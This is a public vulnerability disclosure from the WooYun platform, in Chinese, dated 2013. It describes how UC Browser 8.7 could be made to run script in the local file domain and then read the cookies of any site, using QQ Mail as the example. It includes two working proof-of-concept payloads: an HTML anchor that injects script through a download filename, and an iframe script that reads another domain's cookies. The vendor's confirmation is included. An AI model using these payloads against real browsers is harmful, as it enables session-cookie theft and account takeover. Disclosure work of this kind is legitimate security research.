当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-023920

漏洞标题:UC浏览器跨本地域XSS可盗取任意域Cookie

相关厂商:UC Mobile

漏洞作者: 爱梅小礼

提交时间:2013-05-17 09:13

修复时间:2013-08-15 09:14

公开时间:2013-08-15 09:14

漏洞类型:xss跨站脚本攻击

危害等级:高

自评Rank:12

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-05-17: 细节已通知厂商并且等待厂商处理中
2013-05-17: 厂商已经确认,细节仅向厂商公开
2013-05-20: 细节向第三方安全合作伙伴开放
2013-07-11: 细节向核心白帽子及相关领域专家公开
2013-07-21: 细节向普通白帽子公开
2013-07-31: 细节向实习白帽子公开
2013-08-15: 细节向公众公开

简要描述:

低版本的UC浏览器可以随意跨域。但高版本的做了加强了安全性,基本满足了同源策略的要求。然而一个意外的跨本地域的XSS又使得这些安全措施化为乌有....

详细说明:

测试版本:8.7.4.225
本漏洞可分为两个部分:
1.跨本地xss,可让http->file:
2.本地可向远程注入js。file->http。
第一个弱点:
在恶意页面构造如下代码:
xss.html

<a href='1.apk#"</a><script>alert(55)</script><!–-'>下一页<a>
注意:1.apk是一个可以下载的文件。


用户点击这个链接后就会自动跳转到下载页面(如果开启了wifi优化或预读动能就无需用户点击,自动会跳转),从而触发了XSS。这个下载页面其实是本地存在的一个XHTML,这个文件路径如下:
/data/data/com.UCMobile/downloadsafe/predownloadpage.xhtml
在下载文件时,uc会修改这个xhtml,将文件名等信息写入里面,过滤不严,造成了xss。
所以这个xss具备本地域的权限。
第二个弱点:
inject.html

<script>function inject(){
var d = document.getElementById("hi").contentDocument || document.getElementById("hi").contentWindow.document
alert(d.cookie);
}
document.write("<iframe id=hi src=http://mail.qq.com onload=inject()></iframe>")
</script>


如此就可以读取qq邮箱的cookie了。
将这两个弱点结合起来,就能达到如标题所述的目的了。

漏洞证明:

拿出我的大华为P1,远程访问一个xss.html,其中“下一页”就是构造的恶意链接。

QQ截图20130516221227.jpg


点击“下一页”,弹出了框,框框标题上写的是file,由此证明了是本地域。

2.jpg


弱点一证明完成。
访问本地的inject.html,以本地域的权限执行payload,弹出框框,上面都是我qq邮箱的cookie,弱点二证明完成
最后,写点题外话,祝福我将要出生的宝宝身体健康,活泼聪明~~!

修复方案:

过滤尖括号

版权声明:转载请注明来源 爱梅小礼@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2013-05-17 12:55

厂商回复:

1.跨本地xss,可让http->file
这个漏洞,8.7版本有这个问题,8.8及以上版本已修复,建议升级到最新版本V9.0.1.275
2.本地可向远程注入js。file->http。
这个漏洞在8.7及最新版本中都存在,研发正在修复。
非常感谢爱梅小礼的漏洞提醒!

最新状态:

暂无